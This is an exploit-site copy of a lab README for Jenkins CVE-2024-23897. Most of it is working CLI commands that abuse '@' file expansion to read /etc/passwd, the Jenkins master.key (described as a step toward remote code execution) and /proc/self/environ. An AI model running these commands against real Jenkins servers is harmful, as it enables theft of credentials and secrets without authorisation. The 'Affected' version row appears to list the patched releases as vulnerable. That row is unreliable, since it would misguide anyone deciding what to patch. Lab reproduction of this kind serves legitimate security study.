Exploit for Path Traversal in Jenkins CVE-2024-23897

## https://sploitus.com/exploit?id=ED3F81A8-DBB4-536B-8CB0-219680749938
# CVE-2024-23897 — Jenkins CLI Arbitrary File Read

## Quick Start

```bash
# 1. Start lab
docker-compose up -d

# 2. Wait ~30s, then download CLI tool
curl -O http://localhost:8080/jnlpJars/jenkins-cli.jar

# 3. Exploit — read /etc/passwd (full file)
java -jar jenkins-cli.jar -s http://localhost:8080 -http connect-node @/etc/passwd

# 4. Read master.key (chain to RCE)
java -jar jenkins-cli.jar -s http://localhost:8080 -http connect-node @/var/jenkins_home/secrets/master.key

# 5. Read environment variables
java -jar jenkins-cli.jar -s http://localhost:8080 -http help @/proc/self/environ
```

## Details

See [REPORT.md](REPORT.md) for the full technical analysis (Vietnamese).

| Item | Value |
|------|-------|
| **CVSS** | 9.8 (Critical) |
| **Affected** | Jenkins = 2.442 / LTS >= 2.426.3 |

## Cleanup

```bash
docker-compose down -v --remove-orphans
```